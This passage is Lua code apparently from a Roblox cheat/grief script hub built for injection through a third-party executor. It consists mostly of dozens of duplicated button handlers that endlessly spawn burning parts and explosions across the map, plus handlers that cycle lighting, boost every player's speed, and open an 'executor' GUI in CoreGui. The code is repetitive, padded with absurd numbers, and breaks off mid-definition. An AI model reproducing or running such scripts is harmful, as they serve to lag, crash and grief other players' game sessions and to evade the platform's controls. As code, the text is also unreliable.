part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) end; task.spawn(C_32); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_34() local script = G2L["34"]; script.Parent.MouseButton1Click:Connect(function() local Lighting = game:GetService("Lighting") local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting) function zigzag(X) return math.acos(math.cos(X*math.pi))/math.pi end Counter = 0 Lighting.TimeOfDay = "15:00" while wait(0.01) do ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1) Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1) Counter += 0.01 end end) end; task.spawn(C_34); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_36() local script = G2L["36"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.RemoteEvent:FireServer() end) end; task.spawn(C_36); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_3a() local script = G2L["3a"]; script.Parent.MouseButton1Down:Connect(function() while true do explosion = Instance.new("Explosion") explosion.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) explosion.Parent = game.Workspace wait() end end) end; task.spawn(C_3a); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_3c() local script = G2L["3c"]; script.Parent.MouseButton1Down:Connect(function() for i,p in pairs(game:GetService("Players"):GetChildren()) do if p.ClassName == "Player" then p.Character:FindFirstChildOfClass("Humanoid").WalkSpeed += 25 end end end) end; task.spawn(C_3c); -- StarterGui.ScreenGui.Frame.LocalScript local function C_3d() local script = G2L["3d"]; -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end; task.spawn(C_3d); return G2L["1"], require; end, }) local Button = MainTab:CreateButton({ Name = "znc executor", Callback = function() -- Modern Executer GUI Script -- This script creates a draggable GUI named "Modern Executer" compatible with Xeno Executor -- Create ScreenGui local screenGui = Instance.new("ScreenGui") screenGui.Name = "znc_13 executor" screenGui.ResetOnSpawn = false screenGui.Parent = game:GetService("CoreGui") -- CoreGui to ensure executor compatibility -- Create main frame local mainFrame = Instance.new("Frame") mainFrame.Name = "MainFrame" mainFrame.Size = UDim2.new(0, 400, 0, 250) mainFrame.Position = UDim2.new(0.5, -200, 0.5, -125) mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) mainFrame.BorderSizePixel = 0 mainFrame.Parent = screenGui -- Create title bar local titleBar = Instance.new("Frame") 